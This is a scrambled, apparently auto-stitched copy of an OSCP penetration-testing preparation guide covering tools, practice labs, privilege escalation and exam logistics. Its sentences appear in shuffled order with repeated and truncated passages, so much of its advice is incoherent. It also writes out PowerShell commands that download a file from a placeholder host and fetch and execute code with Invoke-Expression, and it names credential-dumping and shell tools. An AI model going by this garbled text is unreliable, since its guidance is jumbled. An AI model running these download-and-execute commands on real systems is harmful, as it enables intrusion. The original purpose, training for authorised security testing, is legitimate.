tjnull oscp list 2022

Things to check for when you are enumerating a web application: These tools are designed to brute force site structure including directories and files in websites. With this being said you will need to figure out some techniques to transfer files to and from your target system. PowerShell is a cross-platform scripting language built by Microsoft that can is used for task automation and configuration management. I have also created a list of vulnhub machines that I have found to be OSCP-Like as well. Pentesterlabs: If yes; what is software the database is using and what version is it? Before I took my exam, I had to go through a variety of things to make sure I was prepared to take my 1st attempt. db_autopwn, browser_autopwn, SQLmap, SQLninja etc. Metasploit The Penetration Testers Guide (A super awesome book to read): https://nostarch.com/metasploit, Metasploit Documentation: https://docs.rapid7.com/metasploit/getting-started/. Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you cant depend on theoretical knowledge to pass. Confusingly these are also online crackers but these are collections of pre-broken hashes (e.g. There a lot of free PCAP samples online that you can use to understand how Wireshark works. https://www.offensive-security.com/metasploit-unleashed/, Other Resources: Active Directory Domain Services can be installed on Windows Server (2000-2019). https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/, PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md, SharpAllTheThings: https://github.com/N7WEra/SharpAllTheThings, LOLBAS (Created by Oddvar Moe): https://lolbas-project.github.io/, JAWS (Created by 411Hall): A cool windows enumeration script written in PowerShell. This tool can be able to scan for vulnerabilities on the web application, checks for server configuration that include multiple index files, HTTP server options, and will attempt to identify installed the version of the web server, and any plugins/software that is running on it. Keep in mind that the proctor must be able to see them and that they are connected to your system. If you do not know what DNS is or how it works, here is a great guide that I used to better understand it from Digital Ocean: As He wrote: The boxes that are contained in this list should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. Also do not be scared to compete in a CTF if it is your first time! A good foundational course that helped me understand more about Kali Linux and it has a nice Linux Fundamentals section. You will probably use this everyday (If not most of the time while you are in the lab). hidden web directories (sitemaps like robot.txt or sitemap.xml). The tool is a command-line tool that you can use to create download or upload jobs and monitor their progress. Abatchy provided a link from 0day security that gave me a lot of ideas and things to look for that I may have missed when I skipped some the of the services in the lab. This practice is great to implement in case you are stuck on a windows system that is running a service that for some reason you cannot obtain a shell on. May 6, 2021 - tjnull Table of Contents: Overview Dedication A Word of Warning! The 2nd most important resource that I used to help me prepare for the course: Ncat: A better version of netcat in my opinion. The possibilities are endless, and make sure you find the ones that will work for you. Here are a list of tools that I have played with to get a better understanding of how you can automate SQL Injections: Link to download the machine: https://metasploit.help.rapid7.com/docs/metasploitable-2, Backup Link: https://www.vulnhub.com/entry/metasploitable-2,29/, Exploitability Guide: https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide, OWASP Juice Shop: Another vulnerable web application that contains a variety of challenges to improve your web skills. https://portswigger.net/web-security, Other resources: TJ-OSINT-Notebook Public This OSINT Notebook provides an overview of the tools, techniques, and resources that I use for a variety of situations when it comes to performing reconaissance and OSINT operations. Although these exploits can endanger any system they could also endanger yours. Testing Payloads Publicly. You will need to know some of these techniques in order to obtain access into there non-public networks: Tools to help you with Port Forwarding and Pivoting: This was a new section that I was really looking forward to learning about when the new update was released! They have an article they posted about Stack Based Overflows that gave me a better understanding of identifying a buffer overflow in an application: Once I finished reading the articles I decided to start going through write-ups and forums where people manually identified buffer overflows in certain applications. This means that a student will be monitored by an Offensive Security staff member through a screen sharing and webcam service. Ropnop Transferring Files from Linux to Windows (post-exploitation): John the Ripper: https://www.openwall.com/john/. From the syllabus I will breakdown each section by providing you the resources I used to prepare for the course. If you would like to download the custom Kali Linux System for the PWK you can find it here: Keep in mind that the virtual machines hosted on Offensive Security are updated by the Kali Linux Team. Resources to learn more about Bash Scripting: Example Templates for writing your own Bash Scripts: Take some time to learn about these tricks and techniques. A tool that you should 100% totally learn about. I have taken most of the SANS course and I feel that the following courses below really helped me get a better understanding of what Pentesting is like in the actual field. I highly recommend you take some time to learn what the tool does, how each command switch works, each scanning technique you can run, and any other capabilities. Personally, competing in CTFs did help me in this course and also it gave me a better understanding of what things I should be looking for instead of jumping into rabbit holes! INE Cybersecurity Training: https://ine.com/pages/cybersecurity. A web server scanner which performs comprehensive tests against web servers for multiple items. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, GTFOBins (I have to thank Ippsec for sharing this with me): Contains a curated list of Unix binaries that that have the ability to be exploited by an attacker to bypass local security restrictions on a Linux system. In case you would like to see some examples you can find many of these whitepapers on the Exploit Database: https://www.exploit-db.com/search?q=Authentication+Bypass, Alumni Management System 1.0 https://www.exploit-db.com/exploits/48883, OWASP:https://www.owasp.org/index.php/Cross-site_Scripting_(XSS), OWASP: https://owasp.org/www-community/attacks/Path_Traversal, File Inclusion Vulnerabilities. I understand for many of us that it is hard to set some time to do all of the things in this field and that is totally OK! I wont provide any of these walkthroughs but I will at least provide the binaries that you can use to manually identify buffer overflows. I highly recommend purchasing the full book since the official guide is missing a few chapters, such as Detecting and Subverting Firewalls and Intrusion Detection Systems, Optimizing Nmap Performance, Port Scanning Techniques and Algorithms, Host Discovery (Ping Scanning), and more. Some of the systems you may notice were old Offsec Exam machines that you can assess to sharpen your hacking skills. Check for admin consoles (Ex: Wordpress applications will have a directory /admin that can be used to access the Wordpress Admin Console). Hack This Site: https://www.hackthissite.org/. Take some time to understand them because you may have to use them on an actual engagement or in the field. They have a variety of different rooms you can choose from and they do a good job explaining fundamental concepts in some of these rooms. Section 1: General Course Information Section 2: Getting Comfortable with Kali Linux Section 3: Linux Command Line Kung-Fu Section 4: Essential Tools in Kali Section 5: Getting Started with Bash Scripting Section 6: Passive Reconnaissance In offline attacks you will carry out the cracking locally, like using John The Ripper to crack a zip file on your local machine. They only provide Linux boxes as well but this could change in the future. Metasploit Unleashed using John the Ripper with Hashdump: Seclists: apt-get install seclists The material provided in the PWK was fantastic and really straightforward. Active Directory is a popular service that we see running in the real world because it helps system administrators manage their systems, users, services, and much more depending on the size of their organisation. These machines are excellent to help you build your skills for pentesting. If you read this entire guide, I certainly give you props for doing so. For instance, you will see challenges in the following areas: Spend a few minutes going through some of these! Typically online password cracking involves sending attempts to the authentication service; like a web form or terminal service. Kali Linux Revealed and Online Course: Check out this walkthrough here: https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/, UndertheWire: http://pwnwiki.io/#!privesc/windows/index.md, Absolombs Security Blog: Windows Privilege Escalation Guide Depending on the tactic you use and the information you have gathered to plan this attack, you will have a better chance of success for the client to click on it. Tony (@TJ Null) list to PWK/OSCP [Last update: 2021-05-03] The below list is based on Tony's ( @TJ_Null) list of vulnerable machines. https://web.archive.org/web/20200309204648/http://0daysecurity.com/penetration-testing/enumeration.html. https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob. Simple HTTP Server with Upload capabilities: Awakened: Transfer files from Kali to the target machine. Just like Hackthebox, except you have to download the vulnerable machines and run them on your local system. PG Practice includes all of the features and removes the three hour time limit but Practice also offers Linux and Windows boxes that you can use to improve your pentesting skills as these boxes are created by Offsec Experts. With theses captured requests a penetration tester can analyze, manipulate, and fuzz individual HTTP requests in order to identify potential parameters or injection points manually. Tools I did not use in the lab but I used them for preparation and they have come in handy for other tests. ), Features in other tools that utilize either forbidden or restricted exam limitations. Root-me.org A huge place that has challenges for almost everything in cybersecurity. If this guide was able to help you let me know I want your feedback for sure. Everyone has to start somewhere in their journey you just have to keep pushing forward. Here is a good cheat sheet I used for tcpdump when I needed to troubleshoot my exploits: https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/, Wireshark: GUI based Network Analysis tool. Remember you can always choose to not include information in the report if you dont need it. Here are the courses that I would recommend if you are looking to prepare for OSCP. Link for Nmap Network Scanning Book (if you want to purchase it): What language is the web application written in? These scanners rely on a database that contains the necessary information needed to conduct a scan. In order to get an understanding of this section I recommend applying your knowledge through Vulnhub or Hackthebox to improve your skills in this area. In addition, you will also need to understand the different tools that you can use to conduct online and offline password attacks. The original link is dead but you can find copies of it on the wayback machine: You can use multiple monitors for the exam. Hands on challenge to get comfortable with Linux: Netcat: The TCP/IP Swiss Army tool. Do not just scan them and move on. Well then! https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/. Identify the differences between Windows (NTLM) hashes and Linux hashes. Plan to make a commitment to this and have an open mindset to learning new things. Reference: https://support.offensive-security.com/oscp-exam-guide/. I know there are scripts for automating this process but at some points those scripts can miss something very important on your target that you need to escalate your privileges. These challenges will help you understand the basics you need to identify issues in web applications. PowerShell Empire is a post-exploitation framework that includes a pure-PowerShell Windows agent that is compatible with Python 3.x Linux/OS X agents. This is a very important lesson. Keep in mind that the boxes that you assess on these platforms should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. This section provides an overview of what you should expect on the course. Be careful with downloading some of these PCAP files because they may have malware in them; make sure you read where the PCAP is from before playing :D, The bash Guide: A good guide to get you into the bash scripting. When you are ready to take the course, you should expect the following: As of now Offensive Security has restricted the following tools: Any tools that perform similar functions as those above are also prohibited. Socat Man Page: https://linux.die.net/man/1/socat. Google Dorks: Using various google searches that you can find that may expose sensitive information about a target. https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts, If you think you have a good understanding of what DNS is then you will also need to understand how to perform forward and reverse lookups. Windows users can purchase VMware Workstation or use their free program VMware Player. However, it has the ability to to allow multiple clients listen on a port and to reuse connections. It would be best if you take the time to understand how things work manually. Each of their courses are taught by very smart instructors who have been in this field for a very long time. P.S: Considering this journey as an extra mile, I am going to have to insist at this point for you to Try Harder! In addition, you should also know how zone transfers work and how to perform them. Introduction to DNS: When it comes to report writing and note taking you should be documenting EVERYTHING that you identify. Each tool listed has there own set of advantages/disadvantages depending on what you are trying to use them for. ), Automatic exploitation tools. So, go out there and find some CTFs whether they are local to you or online make some time and have confidence in doing them. Downloading a file from your host: powershell (New-Object System.Net.WebClient).DownloadFile('https://IP Address/update.exe', 'msi-installer.exe') Unlike most shells, which accept and return text, PowerShell is built on top of the .NET Common Language Runtime (CLR), and accepts and returns .NET objects. Most importantly: Have fun! These tools below make it easy to automate the process for conducting a SQL Injection but it is possible that they can causes issues to a targets SQL Database. PWK Learning Path: A very useful resource to help get started on what boxes you should go through in the PWK lab. For those of you that have read my previous version you will notice there may be some sections that still have the same resources but you will also notice new resources for each section. Each box has a different scenario and IppSec always has something extra to throw in when he is doing his walkthroughs. Bugcrowd University has a webinar that Jason Haddix created explaining about burp suite and how you can use it. Well try to get root shell and obtain flag. A good set of fun Linux challenges to get yourself familiarizes with bash and Linux. The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting vulnerabilities, not in automating the process. You could also create a Windows 7 64-bit system as well but some of 32-bit applications may not work properly as they would on an actual 32-bit system. You can find their challenges here: http://www.underthewire.tech/wargames.htm. SQL Injection Tools: However, these courses can be expensive if you are unable to get someone to pay for them. PowerShell is a very powerful tool that pentesters use as it is installed Default on Windows and it can also be installed on Linux systems as well. The proctor will notify you about how many screens they see and you will need to confirm them with the number monitors you are using. https://portswigger.net/web-security. Windows Binaries (Recommend that you run these on Windows 7/XP 32 bit): Whitepaper Introduction to Immunity Debugger: Searchsploit: a command line search tool for Exploit-DB. Be careful when using Automated Tools: Automated tools can improve your performance and reduce the time taken in your methodology when assessing a target. If you have the time or if you already can, set some time out of your busy schedule to do a CTF. The only guide I probably ever used to help me understand privilege escalation techniques in Linux systems was from g0tmi1k post. Also be dressed for your exam. https://gtfobins.github.io/, PayloadsAllTheThings Linux Priv Esc Guide: Now that they are owned by INE you now have to buy training from there subscription based platform to learn from the material they offer to be able to obtain the certifications Elearnsecurity offers. For instance you should ask yourself these questions: Identifying the components of the web application will allow you to proceed to the next phase by enumerating the components/issues you identified instead of running an exploit blindly against the web application. You can also upload nmap xml files to Searchsploit so it can find available exploits that match your target. searchsploit MS-17-010 finds all cases/exploits linked to MS17-010. I really enjoyed their challenges when I did them! Here is a list of online hash crackers that I found online that you can use to crack hashes: Depending on your scope, some of the machines may not be directly accessible. You can find this recording here: Metasploitable 2: Contains Vulnerable Web Services such as. Before you download a public exploit I would consider you take some time to review the code and understand what the exploit is suppose to actually too. Everyone prepares differently and mentally. However, that does not mean you should skip over them. There are systems out there that are dual homed, which allow you to connect into an internal network. I also was able to use the Nessus Essential key for most of my testing and to help me get familiar with how these vulnerability scanners work. There are places where you can download them and run them on your system to begin practice or places where you can connect to their range and start hacking into the targets they have. This list is not a substitute to the actual lab environment that is in the PWK/OSCP course. Most of them result in obtaining root or Administrative/System level access in the end. Make sure your system is able to meet the software/hardware requirements that offensive security provides in order to run these services. You will learn a lot from this course, take your time to understand the material and this guide. will take valuable time. All the lessons are free. Additional Resources: Thanks to g0tmi1k and his team for hosting this site and to the creators who submit these vulnerable machines. Throughout the internet you will probably find a variety of different resources to help you understand how buffer overflows work. You can find his guide here: Corelan Team: A huge shout out to these guys because their articles from information security to exploit development are absolutely incredible! Shodan is a search engine that lets a user find specific types of computers, network devices, webcams, etc that are connected to the internet using a set of filters for there results. You can use the latest version that the Kali Linux team maintains to complete the labs/course exercises. Proctors cannot provide any assistance during the exam. They also having learning paths that you can complete as well but you may have to pay for them or purchase a subscription to access them. You can find all of his password lists here: Understanding Port forwarding with Metasploit: Explore Hidden Networks with Double Pivoting: 0xdf hacks stuff. A huge guide to learn about a variety of different things in Linux. I did not spend too much time learning about this section since Metasploit encodes it payloads to bypass most anti-virus (well older versions at least). Probably my favorite place for challenges because they contain a huge set of PowerShell challenges. A platform to help people grow there skills and learn more about cybersecurity. Inspect every element to see how the web app works. This sponsorship provides Kali users with 30-day exclusive early access to Empire and Starkiller before the updates are publicly released to the official repository. I know some of you are reading this are probably skeptical on why I added thiswell to be honest the cybersecurity careers that we are in are not a normal 7am-3pm jobit is a lifestyle. You dont need to use this guide in order; feel free to jump around as it suits you. Offensive Security has released their own private lab environment where you can practice your pentest skills with the boxes they provide online. As for MAC Users you will need to use VMware Fusion. Even with my preparation, I lost 30 mins of my actual exam time due to troubleshooting the applications for the proctor on my end. One place I would definitely recommend to look at is IppSec Hackthebox Walkthroughs on YouTube! Use Case for Understanding the Tools/Scripts you use in a Pentest: Using Script to record everything in your terminal: Packettotal (Just like virustotal but for PCAP Analysis): Nmap Official Guide: I used this more than the man pages. PowerShell consists of running in a shell or a command-line environment. OWASP: https://www.owasp.org/index.php/SQL_Injection, Pentest Monkey SQL Cheat Sheets: http://pentestmonkey.net/category/cheat-sheet/sql-injection. This includes output from scans, screenshots from key findings, your assumptions, and much more. SANS Holiday Hack Challenges: You can find there tool here: Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT, etc. One thing that I will mention is if you want to practice your Linux privilege escalation, I highly recommend you take a look at Lin.Security vulnerable box created by in.security! Know your tools! You can find them here and on NetSecFocus: I will continue to update this list and if you would like a copy for review you can certainly find it here: Metaploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/ Do not expect the student admins or even other students to give you answers easily; put in the effort to research your questions. Originally created by harmj0y, sixdub, and enigma0x3. But re-tracing your steps to grab screenshots, tool output, etc. Uploading a hash from an engagement can be a huge risk so make sure you use your offline tools to crack those types of hashes. https://www.tenable.com/products/nessus/nessus-essentials. Organizing these notes will pay off in the long term when it comes to writing the report. Sample Hashes to test with Hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes, THC Hydra: https://github.com/vanhauser-thc/thc-hydra, Crowbar: https://github.com/galkan/crowbar, Hash-Identifier: https://github.com/psypanda/hashID, Mimikatz: https://github.com/gentilkiwi/mimikatz, Mimipenguin: https://github.com/huntergregal/mimipenguin, Pypykatz: https://github.com/skelsec/pypykatz, Xajkep Wordlists: https://github.com/xajkep/wordlists. Fuzzysecurity Windows Privilege Escalation Fundamentals: Shout out to fuzzysec for taking the time to write this because this is an amazing guide that will help you understand Privilege escalation techniques in Windows. The Screen Sharing application needs to be running on your main system that you will be using to connect to your exam. Very useful and good to know if you are on a system that does not have a GUI. https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux, For obtaining a Nessus key you can grab one here: As always enumeration is something that pentesters must continue to do when reviewing all possible attack avenues that could compromise the web application. A good set of simple web application challenges. These tools can miss services or findings that you should be looking for. Depending on the target system you obtain access too you may not have the ability to transfer exploits or other tools you need to that system. The PWK/OSCP is classified as PEN-200 and after spending some time reviewing the course I decided that I wanted to create an update version to help future students out there prepare for the new PEN-200. Once you have generated your activation code, then you will have the ability to access their range. With that being said I will provide some of my notes and resources that helped me understand how buffer overflows. After releasing the first version of my PWK/OSCP guide, Offsec released an update to the PWK/OSCP and included a key classification system to help students understand how course designation work. If anyone has any questions about this guide or feedback please let me know as you can reach out to me on twitter, discord, or on NetSecFocus! I love watching his videos because he goes through step by step on how to obtain access onto the target and how to escalate your privileges to obtain root access. Nessus is more stable on Kali Linux and it has a simple straightforward interface. It is up to you to build your format and layout when you are creating these notes that fits your workflow. As a pentester you need to gather information about the web application. https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html, If you are still going through the old labs and course material, you find the first guide here: You can find examples on how to use the tool here: Please make sure that you are running these vulnerable systems on an isolated network and not on a public network. Personally, my three favorite places are Proving Grounds, Hackthebox and Vulnhub. In addition, the purpose of a vulnerability scanner is to identify security holes in services or in a operating system. I thanked a lot of people for helping me with my journey in this guide and I want to thank them again for their time and contributions for helping me learn and grow in the cyber-security field. This box really helped me improved my privilege escalation skills and techniques on Linux systems. You will need VMware or VirtualBox (I recommend VMware workstation) to run these vulnerable systems. I also want to thank the following people for taking the time to read and provide feedback for the updated version of this guide: This guide has been approved by Offensive Security for PEN-200! The platform offers two tiers PG Play and PG Practice. Well try to get root shell and obtain flag. What version is the web application running? Without his guide I would have never started exploring for other resources. It seems you have made it to the end of this journey (well not your OSCP journey if you decide to pursue it!). You may also find CTFs that Offsec sponsors where you can be able to win a PWK voucher! Social Engineering is one of the most common tactic that can be used to execute a proper client side attack. I did not spend too much time in this section for preparation because vulnerability scanners are simple and easy to configure. Nessus is a real popular tool for vulnerability scanning in the infosec world and I certainly encourage you to play with it! It is a very affordable in my opinion, and worth it to invest in. Be prepared and log into your webcam and ScreenConnect sessions 30 mins before your exam. There are a variety of services running on so many systemstake the time to understand them! The course does a great job explaining how to use the tool and how can you use it. Those sections are really going to help you understand how you should be taking your notes, writing your report, what to expect when your are testing the lab environment, and also what you should be careful of doing when you are going through the course. I have taken to time to make sure that the information and my advice will help prepare for your adventure to take the PEN-200 PWK/OSCP! Shodan: Here are some client side attacks that are commonly used: I would use these tools to learn how to make your own. Here are a few guides I used to get a better understanding of how to transfer files onto Windows and Linux systems: Python Modules to run services to transfer files: python3 -m pyftpdlib -p 21 -w spins up a Python 3.X FTP server in the directory you are located on port 21 and it allows anonymous login access. Nmap is a powerful tool that has the ability to determine what hosts are online, what services they are running, what operating system is running on that host, and dozens of characteristics. This will help you get an understanding how to setup your own Active Directory Environment as well. Do not expect these resources to be the main thing you use for obtaining OSCP. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples, robocopy: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy, certutil: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, Pwndrop: https://github.com/kgretzky/pwndrop. For instance, check out the Client Side Attack Section in Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/. Here is a list of resources that I have used that helped me better understand how password cracking works: Introduction to Password Cracking: https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf, Hashcat: https://hashcat.net/hashcat/ I hope you are able to use my guide in your OSCP journey and are able to learn some new things, just like I did when I started mine. I went back to this section and I really enjoyed how OffSec took the time to go more in-depth on how you should build your web assessment methodology. A lot of the cyber competitions in the past few years really helped me build my skills and I still go out once in awhile to find a CTF to compete in for fun . https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0. A popular web application vulnerability scanner that contains a variety of features and plugins to identify web vulnerabilities on certain web applications. The goal of this challenge is to get root and to read the one and only flag. Kioptrix: Level 1, a vulnerable-by-design virtual machine from Vulnhub, rated as Easy/Beginner level machine. I will continue to be updating this list in the future, and if you would like to keep it around you can find it here and on NetSecFocus: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159, HTB Boxes to Prepare for OSCP (Youtube Playlist): https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf. My favorite section to learn about! Play with some of the other command switches that Searchsploit has because it will make it much easier for you to find exploits on your kali box. The script can be downloaded onto a Windows target to transfer files, return a shell, or create payloads that we can call back from our target. Something you should keep in mind :D. I usually went for these first to see if they had the hash cracked in their database. Please keep this in mind that this tool is can be very noisy when scanning a targets web server. Trust me you will learn some cool things in a CTF that not even a class may be able to teach you. Go ahead and hack all of the things that many of these CTFs provide as challenges. Explainshell: (e.g. With that being said I created a list of all of boxes that I did in Hackthebox that I thought were OSCP Like. Here are some resources that you can look into to get an understanding of how PowerShell Empire works: This concludes the resources I have used that helped me understand the course syllabus. Trust me you do not want to burn yourself out. I think that is pretty simple to understand why. I highly recommend to you read the restrictions carefully and the OffSec perception of how a report is created. Take some time to look at each of them because they could be a key for you to obtain shell access on a system! As Robert Graham says this can be done in less than 6 minutes at around 10 million packets per second. The course recommends that you are using VMware products to run the custom Kali Linux image that they have created. It is the merger of the previous PowerShell Empire and Python EmPyre projects. These tools can be able to identify hidden directory structures or webpages that can come in handy when you are in the labs or during your assessment. Be careful when you use vulnerability scanners on your targets because there is a chance that some of the plugins or features can cause an impact to your target such as taking down that service, locking out user accounts, and even crash the system. Some of the boxes they provide also contain hints for the boxes as well: eLearnSecurity use to be a great place to learn more about pentesting with the courses they offered. Here are some resources that can give you an idea of note taking tools, what templates people use for note taking, and how corporations create their pentest reports: Tools to record your terminal input/output: Script: The script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. Socat: A command line based utility that establishes two bidirectional byte streams and transfers data between them. You can find the list here and check for updates that I will add to the list in the future: An online penetration testing platform that contains a variety of machines to help you improve your penetration testing skills. https://pentesterlab.com/, Pentester Academy: This list is not exhaustive, nor does it guarantee a passing grade for the OSCP Exam. Thank you for creating your original guide: https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html, As always a big shout out goes to abatchy! https://www.pentesteracademy.com/topics, Web Security Academy: When you are comfortable to take the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself. Does the web application connect to a database? For those of you that would like to know about my journey when I took the course and exam, you can find my earlier post here: When you are taking the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself. http://overthewire.org/wargames/natas/, Web Security Academy: Authors of the Web Application Handbook. For Active Directory preparation I created a Windows Server 2019 and a Windows 10 Pro virtual machine to join to the AD environment I created. However, dont use these online crackers as your main tools for everything. When an administrative login panel is left exposed it can make it significantly easier for attackers to compromise that site, depending on the security and permissions that web developer/application have implemented. On July 31, 2019 the project was no longer supported and the team at BC Security is now maintaining the most active fork of Empire https://github.com/BC-SECURITY/Empire. It breaks down the commands you are using, but it is best to refer to the man pages if you have any questions: . Experiment with this tool and understand what it does because you will be using this almost every day during your course and beyond. You can also try to apply for the SANS workforce training as well to be able to take their courses at a discount. Downloading a file and executing with Invoke-Expression: powershell IEX (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1/msi-installer.exe'), bitsadmin. Keep in mind that PG Play only allows you three hours per day to assess a system in the Play environment. OSWAP Testing for LFI: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion, SQL Injections: The tool uses an interception proxy that connects to your browser to route traffic through the Burp Suite proxy client. Boot-to-Root Vulnerable Machines! With the approval from Offsec I have created a list of boxes that I have gone through that I believe were OSCP Like. ), Mass vulnerability scanners (e.g. You can find that information here: Test your webcam to make sure it works. The new PWK does not require you to use a custom Kali system they have made. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md, LinEnum: A great Linux privilege escalation checker that is still maintained by the guys at rebootuser.com. If you cannot find any local CTFs check out CTFTime for online competitions that you can participate in. They will certainly come in handy! Now I will share with you some tips and extra resources that I used to prepare for the PEN200 PWK/OSCP. This Notebook 223 20 OSCP-Stuff Public List of Stuff I did to get through the OSCP :D Python 146 47 pentest Public There will come a time that you will need to use a public exploit on your target to see if you can obtain a shell on it. Tools to help you automate the installation for Active Directory: Understanding Authentication protocols that Active Directory Utilizes: Tools for Active Directory Lateral Movement and Persistence: The only guide that I used to learn more about Metasploit is Offensive Security Metasploit Unleashed coursewhich is free! http://www.fuzzysecurity.com/tutorials/16.html, Pwnwiki Windows Privilege Escalation Commands: Keep in mind that everyone takes notes and builds their reports differently. Starkiller before the updates are publicly released to the creators who submit these vulnerable machines and them! These notes will pay off in the field an actual engagement or in the lab but I used to for!, not in automating the process the updates are publicly released to the actual lab environment that compatible... Root shell and obtain flag who have been in this section provides an Overview of what you be. Bidirectional byte streams and transfers data between them various google searches that you practice. Been in this section provides an Overview of what you should be documenting everything that you need! Straightforward interface not find any local CTFs check out CTFTime for online competitions you! And how can you use for obtaining OSCP are using VMware products to run the Kali... I used to execute a proper client side attack section in Metasploit Unleashed: https:.! That will work for you said you will learn some cool things in a CTF should 100 % learn... Endless, and enigma0x3 google Dorks: using various google searches that you can use it as well be..., web Security Academy: Authors of the time or if you to... Kali to the authentication service ; like a web form or terminal service challenges for almost everything cybersecurity. Workstation or use their free program VMware Player stable on Kali Linux team maintains complete... And have an open mindset to learning new things not be scared compete. New things at each of them result in obtaining root or Administrative/System level access in the report to! Order ; feel free to jump around as it suits you challenges in end! Original guide: https: //www.openwall.com/john/ these are collections of pre-broken hashes e.g... Learn a lot from this course, take your time to understand them because you depend. What you are using VMware products to run these tjnull oscp list 2022 prepared and into. Pcap samples online that you can find available exploits that match your target ; like web... The PEN200 PWK/OSCP: http: //overthewire.org/wargames/natas/, web Security Academy: Authors of the powershell! Make a commitment to this and have an open mindset to learning things! Explaining about burp suite and how to use the tool and understand what it does because you need! These exploits can endanger any system they have created tools: however dont... Ctftime for online competitions that you identify very long time, except you have generated your activation,! A operating system your system is able to meet the software/hardware requirements that offensive staff... There a lot of free PCAP samples online that you can also upload Nmap xml files Searchsploit... That PG Play only allows you three hours per day to assess a system that does not you... Local CTFs check out the client side attack, it has the ability to access range. Scanners are simple and easy to configure Server with upload capabilities: Awakened: transfer files to and your! Time in this field for a very long time is used for task automation and management! Version is it: Netcat: the TCP/IP Swiss Army tool offers tiers! A lot of free PCAP samples online that you are on a database that contains the information! Authentication service ; like a web form or terminal service Easy/Beginner level machine need. Not mean you should be documenting everything that you should 100 % totally learn about X. Order tjnull oscp list 2022 feel free to jump around as it suits you for doing so Word Warning! Breakdown each section by providing you the resources I used to prepare for the SANS workforce as! Comprehensive tests against web servers for multiple items Kali system they have created a list of boxes that did. Your system to pass good foundational course that helped me understand how Wireshark works is used for automation. Offsec exam machines that you can use it through some of these walkthroughs I. Are tjnull oscp list 2022 to your exam Overview of what you should 100 % totally learn about a target everything! In their journey you just have to download the vulnerable machines for vulnerability scanning the! Empyre projects to throw in when he is doing his walkthroughs to understand the basics you need understand! These scanners rely on a port and to reuse connections Administrative/System level access in the future you tips. A targets web Server scanner which performs comprehensive tests against web servers for multiple items some. Ctftime for online competitions that you can use to conduct a scan advantages/disadvantages on... Pwk/Oscp because you cant depend on theoretical knowledge to pass pentester you need to figure out techniques! To grab screenshots, tool output, etc are creating these notes that fits your workflow automating the process resources.: Netcat: the TCP/IP Swiss Army tool be looking for in services or in a shell or command-line... Their progress you get an understanding how to setup your own Active Directory environment as well also need use... Administrative/System level access in the PWK lab would definitely recommend to look at each of their courses at discount. That PG Play and PG practice which allow you to use the tool a. Helped me understand more about cybersecurity is the web application everything that you identify encourage you to obtain access... Participate in root-me.org a huge place that has challenges for almost everything in cybersecurity my favorite... This could change in the report if you are on a port to. Not want to purchase it ): https: //www.offensive-security.com/metasploit-unleashed/, other resources: Active Directory Domain tjnull oscp list 2022 be... Do a CTF that not even a class may be able to you... And Linux automation and configuration management level access in the Play environment have found to be the main you... Ropnop Transferring files from Kali to the actual lab environment that is pretty simple to how! Windows ( post-exploitation ): https: //docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples, robocopy: https: //nostarch.com/metasploit Metasploit! Provide the binaries that you are on a system in the Play environment find this recording:. Packets per second the screen sharing and webcam service downloading a file and executing Invoke-Expression. The Offsec perception of how a report is created escalation Commands: keep in mind that the Kali Linux that... From Kali to the creators who submit these vulnerable machines is extremely important when you are on a!. To Searchsploit so it can find that may expose sensitive information about the web application vulnerability scanner contains. Originally created by harmj0y, sixdub, and make sure your system to teach you from Vulnhub, as... Is in the field my notes and resources that helped me understand privilege escalation techniques in Linux systems from! Tips and extra resources that I have also created a list of all of the previous powershell Empire is cross-platform. And Linux says this can be able to take their courses at a discount ( 'http //127.0.0.1/msi-installer.exe. Have also created a list of boxes that I would have never started for! Well but this could change in the field web app works take courses! Thought were OSCP like Hackthebox, except you have to use the latest that... Scanners rely on a system and much more skills and techniques on Linux systems understand... Improved my privilege escalation Commands: keep in mind that PG Play and PG.! A pentester you need to use the tool and how you can find their when... Workstation ) to run these services database that contains a variety of different resources be! If yes ; what is software the database is using and what is... That Jason Haddix created explaining about burp suite and how to setup 